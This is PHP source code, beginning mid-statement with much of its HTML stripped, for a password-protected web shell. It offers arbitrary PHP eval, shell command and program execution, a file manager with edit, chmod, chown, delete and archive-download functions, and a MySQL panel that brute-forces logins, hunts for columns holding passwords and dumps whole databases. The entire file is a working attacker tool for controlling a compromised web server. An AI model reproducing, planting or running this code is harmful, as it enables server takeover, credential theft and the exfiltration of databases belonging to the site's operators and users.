$var) { if(isset($GLOBALS[$key])) unset($GLOBALS[$key]); } foreach($_FILES as $key => $var) { if(isset($GLOBALS[$key])) unset($GLOBALS[$key]); } } if($settings['passprotect']) { if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="Shell account please"'); header('HTTP/1.0 401 Unauthorized'); echo 'NO.'; exit; } else { if(isset($settings['users'][$_SERVER['PHP_AUTH_USER']])) { if($settings['users'][$_SERVER['PHP_AUTH_USER']] == $_SERVER['PHP_AUTH_PW']) { $authed = 1; } else die("NOPE."); } else die("NOPE!"); } } if(get_magic_quotes_gpc()) { foreach($_POST as $key => $var) { $_POST[$key] = stripslashes($var); } foreach($_GET as $key => $var) { $_GET[$key] = stripslashes($var); } foreach($_FILES as $key => $var) { $_FILES[$key] = stripslashes($var); } foreach($_REQUEST as $key => $var) { $_REQUEST[$key] = stripslashes($var); } } if(!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { return "/tmp"; } } function post($v) { if(isset($_POST[$v])) return $_POST[$v]; else return null; } function get($v) { if(isset($_GET[$v])) return $_GET[$v]; else return null; } function request($v) { if(isset($_REQUEST[$v])) return $_REQUEST[$v]; else return null; } function showperms($perms,$type="string") { switch($type) { default: case "string": if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; break; case "number": return substr(sprintf('%o', $perms), -4); break; } } function gettablesql($table,$ver = null) { if($ver == null) { list($cver) = mysql_fetch_row(mysql_query("SELECT @@version")); $ver = substr($cver,0,1); } echo 'CREATE TABLE IF NOT EXISTS `'.mysql_real_escape_string($table).'` ('."\n"; $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`"; $getcolumns = mysql_query($gcqu); if($getcolumns) { $isfirst = 1; $primaries = $npkeys = array(); while($column = mysql_fetch_assoc($getcolumns)) { if(!$isfirst) echo ",\n"; else $isfirst = 0; echo ' `'.mysql_real_escape_string($column['Field']).'` '.$column['Type']; if(strtoupper($column['Null']) == "NO") echo ' NOT NULL '; else echo ' NULL '; if($column['Extra'] == "auto_increment") echo "AUTO_INCREMENT"; elseif($column['Default'] && $column['Type'] == 'timestamp' && $column['Default'] == 'CURRENT_TIMESTAMP') echo "DEFAULT ".mysql_real_escape_string($column['Default']); elseif($column['Default']) echo "DEFAULT '".mysql_real_escape_string($column['Default'])."'"; if($column['Key'] == "PRI") $primaries[] = $column['Field']; elseif($column['Key'] == "UNI") echo ",\n UNIQUE KEY (`".mysql_real_escape_string($column['Field'])."`)"; else { if($ver >= 5) $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."` WHERE `Table`='".mysql_real_escape_string($table)."' && `Column_name`='".mysql_real_escape_string($column['Field'])."'"; else $gkqu = "SHOW KEYS IN `".mysql_real_escape_string($table)."`"; $getkeys = mysql_query($gkqu); if($getkeys) { while($key = mysql_fetch_assoc($getkeys)) { if($ver >= 5 || ($key['Table'] == $table && $key['Column_name'] == $column['Field'])) { $npkeys[$key['Key_name']][] = $key; } } } else die("\nMySQL error: ".mysql_error()." in '".$gkqu."'\n"); } } if($npkeys) { foreach($npkeys as $keyname => $key) { if(count($key) == 1) { //no multirow key $key = $key[0]; if($key['Non_unique']) { echo ",\n KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")"; } else { echo ",\n UNIQUE KEY (`".mysql_real_escape_string($key['Column_name'])."`".($key['Sub_part'] ? "(".$key['Sub_part'].")" : '').")"; } } else { if($key[0]['Non_unique']) { echo ",\n KEY ("; } else { echo ",\n UNIQUE KEY ("; } $isfirst = 1; foreach($key as $keypart) { if(!$isfirst) echo ", "; else $isfirst = 0; echo '`'.mysql_real_escape_string($keypart['Column_name']).'`'.($keypart['Sub_part'] ? "(".$keypart['Sub_part'].")" : ''); } echo ")"; } } } if($primaries) { echo ",\n PRIMARY KEY ("; $isfirst = 1; foreach($primaries as $primary) { if(!$isfirst) echo ", "; else $isfirst = 0; echo '`'.mysql_real_escape_string($primary).'`'; } echo ")\n"; } } else die("\nMysql Errror: ".mysql_error()." in '".$gcqu."'\n"); echo ");\n\n"; } function gettablecontentsql($table,$insertbreak = 10,$ver = 0) { if($ver == null) { list($cver) = mysql_fetch_row(mysql_query("SELECT @@version")); $ver = substr($cver,0,1); } $gcqu = "SHOW COLUMNS IN `".mysql_real_escape_string($table)."`"; $getcolumns = mysql_query($gcqu); if($getcolumns) { $columns = array(); while($column = mysql_fetch_assoc($getcolumns)) { list($type) = explode("(",$column['Type'],2); $columns[] = $column + array('rtype' => $type); if($column['Extra'] == "auto_increment") $aitab = $column['Field']; } } else die("\nMySQL error: ".mysql_error()." in '".$gcqu."'\n"); $insertstart = "INSERT INTO `".mysql_real_escape_string($table)."` ("; $isfirst = true; foreach($columns as $column) { if(!$isfirst) $insertstart .= ", "; else $isfirst = false; $insertstart .= "`".mysql_real_escape_string($column['Field'])."`"; } $insertstart .= ") VALUES ("; $insertend = ");\n"; $getrows = mysql_query("SELECT * FROM `".mysql_real_escape_string($table)."` ".(!empty($aitab) ? (" ORDER BY `".mysql_real_escape_string($aitab)."`") : "")); $i = 0; while($row = mysql_fetch_assoc($getrows)) { if(!($i%$insertbreak)) echo $insertstart; else echo ", ("; $isfirst = true; foreach($columns as $column) { if(!$isfirst) echo ", "; else $isfirst = false; if($column['Null'] == "YES" && $row[$column['Field']] === null) echo "null"; else { switch($column['rtype']) { default: echo "'".mysql_real_escape_string($row[$column['Field']])."'"; break; case "tinyint": case "int": case "float": case "bigint": case "smallint": echo $row[$column['Field']]; break; } } } if(!(($i+1)%$insertbreak)) echo $insertend; else echo ")"; $i++; } if($i != 0) echo ";\n"; } function findindb($needle,$type='col',$identical = 0) { $getdatabases = mysql_list_dbs(); while ($db = mysql_fetch_row($getdatabases)) { mysql_query("USE `".$db[0]."`"); $gettables = mysql_query("SHOW TABLES"); while($table= mysql_fetch_row($gettables)) { if($type == 'col') { $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string($table[0])."`"); if($getcolumns) { while($column = mysql_fetch_assoc($getcolumns)) { foreach($needle as $n) { if((!$identical && stripos($column['Field'],$n) !== false) || ($identical && strtolower($column['Field']) == strtolower($n)) ) { echo "Database: ".htmlentities($db[0])." Table: ".htmlentities($table[0])." Column: ".htmlentities($column['Field'])." Found: ".htmlentities($n)."
"; break; } } } } } elseif($type == 'table') { foreach($needle as $n) { if((!$identical && stripos($table[0],$n) !== false) || ($identical && strtolower($table[0]) == strtolower($n)) ) { echo "Database: ".htmlentities($db[0])." Table: ".htmlentities($table[0])." Found: ".htmlentities($n)."
"; break; } } } } } } function get_iden_query($iden) { if($iden) { $iden = base64_decode($iden); $crit = explode("&",$iden); if($crit) { $query = ""; $error = 0; foreach($crit as $cr) { if(strpos($cr,"=") !== false) { $crits = explode("=",$cr,2); $query .= ($query ? " &&" : "")." `".mysql_real_escape_string($crits[0])."`='".mysql_real_escape_string($crits[1])."'"; } else { $error = 1; break; } } if(!$error) { return $query; } else echo "Error: invalid data specified."; } else echo "Error: No specific row selected."; } else echo "Error: That row doesn't exist (anymore?)"; return false; } $action = get('action'); if(!request('shownone')) { ?>
[Files/directories] [Execute PHP Code (eval)] [Execute Shell] [Execute ext. program] [PHPInfo();] [Show all vars] [MySQL] [System]
[] [PHP Ver: ] [Ini file: ] [User: ] [GID: ] [UID: ] [Safe mode: ] [Open basedir: ]
[Server: ]
[Server IP: ()] [Your IP: ()] [Space: /GB] [Script pos: ]
Touch (create) file:
Edit file:
Make directory:
Directory:
"; ?>typegoXDLnamesizemodeownergroupaccesschange dir"; else echo "file"; ?> go"; else echo "go"; ?> rm"; } else echo "del"; ?> dl"; else echo "zip"; ?> "; } else { echo "Error: No permission to open \"".htmlentities($dir)."\". DENIED!
"; } } else { echo ""; if(!file_exists($dir)) echo "Error: \"".htmlentities($dir)."\" does not exist.
"; else echo "Error: \"".htmlentities($dir)."\" is not a directory
"; echo "
"; } break; case "file": case "editfile": $file = get('file'); if($file) { if(is_file($file)) { if(post('newname') && post('newname') != $file) { if(post('fnoverwrite') || !file_exists(post('newname'))) { if(rename($file,post('newname'))) { echo "File name changed successfully
"; $file = post('newname'); } else echo "Error: Failed to change file name
"; } else echo "Error: Failed to change file name - a file with that name already exists!
"; } if(post('copyto') && post('copyto') != $file) { if(post('fcoverwrite') || !file_exists(post('copyto'))) { if(copy($file,post('copyto'))) { echo "File copied successfully
"; } else echo "Error: Failed to copy file
"; } else echo "Error: Failed to copy file - a file with that name already exists!
"; } if(post('chmod') && post('chmod') != substr(sprintf('%o', fileperms($file)),-4)) { if(preg_match("/^([0-8]{3,4})$/",post('chmod')) ) { if(chmod($file,octdec(post('chmod')))) { echo "File CHMod to ".htmlspecialchars(post('chmod'))." successful
"; $chmod = htmlspecialchars(post('chmod')); } else echo "Error: Failed to CHMod
"; } else echo "Error: That is not a valid CHMod number.
"; } if(post('owner') && post('owner') != fileowner($file)) { if(chown($file,post('owner'))) echo "File owner changed successfully
"; else echo "Error: Failed to change owner
"; } if(post('group') && post('group') != filegroup($file)) { if(chgrp($file,post('group'))) echo "File group changed successfully
"; else echo "Error: Failed to change group
"; } } } case "php": case "html": $file = get('file'); ?>
File:
File edited successfully
"; } else echo "Error: Can't writing to file!
"; } if(!isset($chmod)) $chmod = substr(sprintf('%o', fileperms($file)),-4); ?>
new file name/path: Overwrite existing files
copy to: Overwrite existing files
new CHMOD:
new File owner (id or name):
new File group (id or name):

"; if(highlight_file($file)); else echo "Could not open file! Denied!"; echo "
"; } elseif($action == "html") { echo "
"; $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory if($handle) { while (!feof($handle)) { $buffer = fgets($handle, 4096); echo $buffer; } fclose ($handle); } else echo "Could not open file! Denied!"; echo "
"; } ?> [containing directory] [delete] [as php source] [as html] [edit file]
"; if(!file_exists($file)) echo "Error: \"".htmlentities($file)."\" does not exist.
"; else echo "Error: \"".htmlentities($file)."\" is not a file
"; echo ""; } } break; case "delfile": $file = get('file'); if($file) { if(is_file($file)) { if(post('sure')) { if(unlink($file)) echo "File \"".htmlentities($file)."\" deleted successfully!
Back to the directory listing"; else echo "Error while deleting the file \"".htmlentities($file)."\"!"; } else { ?>
Do you really want to delete the file ""?
Yes.
"; if(!file_exists($file)) echo "Error: \"".htmlentities($file)."\" does not exist.
"; else echo "Error: \"".htmlentities($file)."\" is not a file
"; echo ""; } } break; case "dlfile": $file = get('file'); if($file) { if(is_file($file)) { $ffile = substr(strrchr($file,'/'),1); $handle = fopen ($file, "r");//not using file_get_contents in case the file is too big for the memory if($handle) { header('Content-Disposition: attachment; filename="'.$ffile.'"'); header('Content-Transfer-Encoding: binary'); header("Content-Length: " . filesize($file)); while (!feof($handle)) { $buffer = fgets($handle, 4096); echo $buffer; } fclose ($handle); } else echo "Could not open file! Denied!"; } else echo "not a file"; } else echo "no file"; break; case "rmdir": $dir = get('dir'); if($dir) { if(is_dir($dir)) { if(post('sure')) { if(rmdir($dir)) echo "directory \"".htmlentities($dir)."\" deleted successfully!
Back to the directory listing"; else echo "Error while deleting the directory \"".htmlentities($dir)."\"! (maybe it's not empty?)"; } else { ?>
Do you really want to delete the directory ""? (it has to be empty)
Yes.
"; if(!file_exists($file)) echo "Error: \"".htmlentities($file)."\" does not exist.
"; else echo "Error: \"".htmlentities($file)."\" is not a directory
"; echo ""; } } break; case "zipdir": ignore_user_abort(true);//this is to make sure the zip archive gets deleted from the temp folder $dir = get('dir'); if($dir) { if(is_dir($dir)) { $fdir = substr(strrchr(substr($dir,1),'/'),1); if(class_exists('ZipArchive') && !isset($_GET['sh']) && !isset($_GET['tar'])) { $zip = new ZipArchive(); $tmpfile = tempnam(sys_get_temp_dir(), "zip"); if($zip->open($tmpfile, ZipArchive::CREATE | ZIPARCHIVE::OVERWRITE)) { $dirName = $dir; if (!is_dir($dirName)) { echo 'Directory ' . $dirName . ' does not exist'; } else { $dirName = realpath($dirName); if (substr($dirName, -1) != DIRECTORY_SEPARATOR) { $dirName.= DIRECTORY_SEPARATOR; } $dirStack = array($dirName); //Find the index where the last dir starts $cutFrom = strrpos(substr($dirName, 0, -1), DIRECTORY_SEPARATOR)+1; while (!empty($dirStack)) { $currentDir = array_pop($dirStack); $filesToAdd = array(); $dir = dir($currentDir); while (false !== ($node = $dir->read())) { if (($node == '..') || ($node == '.')) { continue; } if (is_dir($currentDir . $node)) { array_push($dirStack, $currentDir . $node . DIRECTORY_SEPARATOR); } if (is_file($currentDir . $node)) { $filesToAdd[] = $node; } } $localDir = substr($currentDir, $cutFrom); $zip->addEmptyDir($localDir); foreach ($filesToAdd as $file) { $zip->addFile($currentDir . $file, $localDir . $file); } } $zip->close(); $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory if($handle) { header("Content-Type: application/zip"); header("Content-Length: " . filesize($tmpfile)); header("Content-Disposition: attachment; filename=\"".$fdir.".zip\""); while (!feof($handle)) { echo fgets($handle, 4096); } fclose ($handle); } else echo "Could not open zip file. Weird."; } unlink($tmpfile); } else { echo "error while creating zip"; } } else { //echo "ZipArchive class not available! Can't zip anything!"; //Zip not available -> using cmd instead $tmpfile = tempnam(sys_get_temp_dir(), "zip").".zip"; if(!isset($_GET['tar']) && $cmd = exec("zip -r \"".$tmpfile."\" \"".realpath($dir)."\"",$output,$ret)) { $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory if($handle) { header("Content-Type: application/zip"); header("Content-Length: " . filesize($tmpfile)); header("Content-Disposition: attachment; filename=\"".$fdir.".zip\""); while (!feof($handle)) { echo fgets($handle, 4096); } fclose ($handle); } else { echo "Could not open zip. Weird."; } if(file_exists($tmpfile)) unlink($tmpfile); } else { //echo "zip failed:
".nl2br(htmlentities(print_r($output,true)))."
(".htmlentities($ret).") / (".htmlentities($tmpfile).")"; if(file_exists($tmpfile)) unlink($tmpfile); $tmpfile = tempnam(sys_get_temp_dir(), "tar").".tar"; $cmdd = "tar -cf \"".$tmpfile."\" \"".realpath($dir)."\""; $cmd = exec($cmdd,$output,$ret); if(!$ret) { $handle = fopen ($tmpfile, "r");//not using file_get_contents in case the file is too big for the memory if($handle) { header("Content-Type: application/tar"); header("Content-Length: " . filesize($tmpfile)); header("Content-Disposition: attachment; filename=\"".$fdir.".tar\""); while (!feof($handle)) { echo fgets($handle, 4096); } fclose ($handle); } else { echo "Could not open tar. Weird."; } if(file_exists($tmpfile)) unlink($tmpfile); } else echo "tar failed: ".htmlentities($cmdd)."
".nl2br(htmlentities(print_r($output,true)))."
(".htmlentities($ret).") / (".htmlentities($tmpfile).")"; if(file_exists($tmpfile)) unlink($tmpfile); } } } else { echo ""; if(!file_exists($dir)) echo "Error: \"".htmlentities($dir)."\" does not exist.
"; else echo "Error: \"".htmlentities($dir)."\" is not a directory
"; echo "
"; } } break; case "touch": $file = get('file'); $info = pathinfo($file); if($file) { if(@touch($file)) { echo "File \"".htmlentities($file)."\" touched successfully!
to the directory
to the file
to the directory listing
"; } else echo "Error: file \"".htmlentities($file)."\" could not be touched (Denied!)
to the directory
to the directory listing
"; } break; case "mkdir": $dir = get('dir'); if($dir) { if(@mkdir($dir)) { echo "directory \"".htmlentities($dir)."\" made successfully!
to the directory
to the directory listing
"; } else echo "Error: directory \"".htmlentities($dir)."\" could not be made (Denied!)
to the directory listing
"; } break; case "eval": if(!request('shownone')) { ?> Eval (execute) this code:
> Do not echo out anything except for the output of the executed code
> Show all PHP errors, warnings and notices

"; if(request('showallerrors')) { @ini_set("error_reporting", "E_ALL"); @error_reporting(E_ALL); } eval(request('eval')); } break; case "shellexec": ?> execute this shell (one command per line):

> Proccess seperately (only check if the commands don't have anything to do with each other)
";
echo "".htmlentities(request('shellexec'))."

".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."
"; echo "
"; } else { $commands = explode("\n",str_replace("\r","",request('shellexec'))); echo "executing shell below:
";
foreach($commands as $cmd) echo "".htmlentities($cmd)."

".htmlentities(shell_exec($cmd))."
"; echo "
"; } } break; case "exec": ?> execute this program (one command per line):

";
foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "".htmlentities($cmd)."

".htmlentities(print_r($output,true))."
Return status:".htmlentities($ret)."
";}} echo "
"; } break; case "phpinfo": phpinfo(); break; case "system": ?>

System

Sysname:
nodename:
release:
version:
machine:

UID Range:
Start:
End:
GID Range:
Start:
End:

Users

Groups

"; echo htmlentities(print_r($GLOBALS,true)); echo""; break; case "mysql": switch(get('type')) { default: ?> [Brute Force] [Query] [MiniAdmin]

Brute force:


Success with combination: :
"; } else { echo "Failure with combination: :
"; } } } } break; case "query": if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) { ?>
MySQL host:
MySQL user*:
MySQL pass:
MySQL database:

Queries seperated by newlines.
>Stop if a query fails?
Useful Queries:
Error: Could not connect to the server. Wrong pass/user?'); echo "Connection established.
"; if(post('database')) { @mysql_select_db(post('database'),$connection) or die('Error: no connection to the database. Does it exist?'); echo "Database selected.
"; } $queries = explode("\n",str_replace("\r","",post('query'))); foreach($queries as $query) { if($query) { echo "
"; if($q = mysql_query($query)) { $aff_row = mysql_affected_rows(); echo "Query successful! (".$aff_row." affected rows)

"; if(is_resource($q)) { echo "Query Result:
"; echo "
"; while($qr = mysql_fetch_assoc($q)) { echo "
".htmlentities(print_r($qr,true))."

"; } echo "
"; } else { echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)
"; } } else { echo "Query failed!
Query:
MySQL error: ".mysql_error()."
"; if(post('cancelonfail')) { echo "

Query failed! stopping!
"; break; } } echo "
"; } } echo "All done!
"; } break; case "miniadmin": if(isset($_GET['u']) && isset($_GET['p'])) { $url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p')); if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) { if(!get('shownone')) { echo "".htmlentities(get('h'))." - ".htmlentities(get('db'))."
"; $databases = mysql_list_dbs(); echo "Databases: | "; while ($row = mysql_fetch_row($databases)) { if(get('db') != $row[0]) echo "".$row[0]." | \n"; else echo "".$row[0]." | "; } echo "
"; } if(get('db')) { $urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db')); if(@mysql_select_db(get('db'),$mcon)) { if(!get('shownone')) { $tables = mysql_query("SHOW TABLES"); if($tables) { echo "Tables: | "; while ($row = mysql_fetch_row($tables)) { if(get('tb') != $row[0]) echo "".$row[0]." | \n"; else echo "".$row[0]." | "; } echo "
"; } else { echo "Error: The SHOW TABLES query failed! (".mysql_error().")
"; } } if(get('tb')) { $urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb')); switch(get('ta')) { default: $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`"); if($getcolumns) { ?>"; } ?>
FieldtypeKeydefaultAI?Null?
".htmlentities($column['Field'])."".htmlentities($column['Type'])."".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."".htmlentities($column['Default'])."".($column['Extra'] == "auto_increment" ? "y" : "n")."".htmlentities($column['Null'])."

Error: Could not retrieve columns!
"); list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`")); echo "Number of entries: ".$totalrows."
"; echo "
"; break; case "delrow": echo "Deleting a row
"; $iden = get('trid'); if($query = get_iden_query($iden)) { $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1"); if($getrow && $rowdata = mysql_fetch_assoc($getrow)) { echo "Row found!
"; if(!post('sure')) { echo "Are you sure you want to delete this row?
Yes
Rowdata:
"; foreach($rowdata as $key => $val) { echo "".htmlentities($key).":
"; echo "

"; } } else { $quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1"; echo "Query:
"; if(mysql_query($quer)) { echo "Deleted row successfully"; } else echo "Mysql error while deleting: ".htmlentities(mysql_error()); } } else echo "Error: This row could not be found. Have you already deleted it?"; } echo "
"; break; case "editrow": echo "Editing a row
"; $iden = get('trid'); if($query = get_iden_query($iden)) { $getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1"); if($getrow && $rowdata = mysql_fetch_assoc($getrow)) { echo "Row found!

"; if(!$_POST) { echo "
Edit the values below:
"; foreach($rowdata as $key => $val) { echo "".htmlentities($key).":
"; echo "

"; } echo "
"; } else { $q2 = ""; foreach($rowdata as $key => $val) { if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'"; } if($q2) { $quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1"; echo "Query:
"; if(mysql_query($quer)) { echo "Edited row successfully"; } else echo "Mysql error while editing: ".htmlentities(mysql_error()); } else echo "Error: You didn't change any rows!"; } } else echo "Error: This row could not be found. Have you already deleted it?"; } echo "
"; break; case "view": $getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`"); if($getcolumns) { $columns = array(); while($column = mysql_fetch_assoc($getcolumns)) { $columns[] = $column; } } else die("Error: Could not retrieve columns! (".mysql_error().")
"); $s = ((int)get('s') ? (int)get('s') : 0); $n = ((int)get('n') ? (int)get('n') : 100); $limit = $s.",".$n; $userwhere = ""; if(get('cwhere')) { //if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere'); $userwhere = get('cwhere'); } $query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit; $getrows = mysql_query($query); echo 'Query:
'; echo '
'; foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo ""; echo 'Your custom additions:

'; if($getrows) { list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere)); echo 'Page '.($n ? ($s/$n)+1 : 1).' (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')
'; if(($s-$n) >= 0) echo '[<<Page]'; if(($s+$n) <= $totalrows) echo '[Page>>]'; echo "\n"; echo ""; $prim = array(); foreach($columns as $column) { echo ""; if($column['Key'] == "PRI") $prim[] = $column; } if(!$prim) $prim = $columns; echo "\n"; $i = $s; while($row = mysql_fetch_assoc($getrows)) { $outp = ""; $primaries = ""; foreach($columns as $column) { if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']])); $outp .= ""; } $identification = "trid=".base64_encode($primaries); echo ""; $outp .= "\n"; echo $outp; $i++; } echo "
#".($column['Key'] ? "" : "").htmlentities($column['Field']).($column['Key'] ? "" : "")." (".htmlentities($column['Type']).")
"; $size = 0; if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2); else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2); $size = intval($size); switch($type) { default: $outp .= htmlentities($row[$column['Field']]); break; case "int": $outp .= $row[$column['Field']]; break; case "varchar": case "char": $outp .= ''; break; case "text": case "longtext": $outp .= ''; break; } $outp .= "
".$i."X E
"; if(($s-$n) >= 0) echo '[<<Page]'; if(($s+$n) <= $totalrows) echo '[Page>>]'; } else echo "Error: Could not get data due to mysql error (".mysql_error().")
"; echo "
"; break; case "empty": if(post('sure')) { $query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`"; echo 'Query:
'; if(mysql_query($query)) echo "Successfully emptied the table!
"; else echo "MySQL error while emptying table: ".mysql_error()."
"; } else { ?>
Are you sure you want to empty the table ''? This cannot be reversed.
Yes.
"; break; case "drop": if(post('sure')) { $query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`"; echo 'Query:
'; if(mysql_query($query)) echo "Successfully dropped the table!
"; else echo "MySQL error while dropping the table: ".mysql_error()."
"; } else { ?>
Are you sure you want to drop the table ''? This cannot be reversed.
Yes.
"; break; case "dlsql": @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\""); @header("Content-type: text/plain"); list($ver) = mysql_fetch_row(mysql_query("SELECT @@version")); echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n"; gettablesql(get('tb')); exit; break; case "dlsqldump": @set_time_limit(0); @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\""); @header("Content-type: text/plain"); list($ver) = mysql_fetch_row(mysql_query("SELECT @@version")); echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n"; gettablesql(get('tb')); gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100)); exit; break; } if(!get('shownone')) { echo 'Table actions:
[view data 10/page] [view data 50/page] [view data 100/page] [view data 200/page] [view data 500/page] [view data 1000/page]
'; echo '[view structure] [empty] [drop] [insert] [download table structure (sql)] [download table dump (sql)]'; echo "
"; } } else {//no table selected switch(get('da')) { default: break; case "dlsql": @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\""); @header("Content-type: text/plain"); $gettables = mysql_query("SHOW TABLES"); $tables = array(); echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n"; while($table= mysql_fetch_row($gettables)) { gettablesql($table[0]); } break; case "dlsqldump": @set_time_limit(0); @header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\""); @header("Content-type: text/plain"); $gettables = mysql_query("SHOW TABLES"); $tables = array(); list($ver) = mysql_fetch_row(mysql_query("SELECT @@version")); echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n"; while($table= mysql_fetch_row($gettables)) { echo "\n-- - Table structure: ".$table[0]."\n"; gettablesql($table[0]); echo "\n-- - Table data: ".$table[0]."\n"; gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000)); echo "\n\n"; } exit; break; } } if(!get('shownone')) echo 'Database actions:
[download database structure (sql)] [download database dump (sql)]
'; } else { die( "Error: Selected database does not exist/can't be accessed.
"); } } else { switch(get('a')) { case "findpwcols": echo "Finding columns containing 'pass' or 'pw'
"; $needle = array('pass','pw'); findindb($needle,'col'); echo "
"; break; case "find": if(post('find')) { echo "Finding columns containing ".htmlentities(post('find'))."
"; $needle = explode(",",str_replace(" ","",post('find'))); if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1)); else findindb($needle,'table',(post('stype') == 1)); echo "
"; } else { ?>
Find
columns tables
containing named
(Separated by comma)
"; } if(!get('shownone')) echo 'General actions:
[Find columns probably containing passwords] [Search columns/tables] [Download structure of all databases]'; } else { echo "Error: Could not connect to server (wrong pass?)
"; $needlogin = 1; } } else $needlogin = 1; if(isset($needlogin)) { ?>
Host:
MySQL user:
MySQL pass: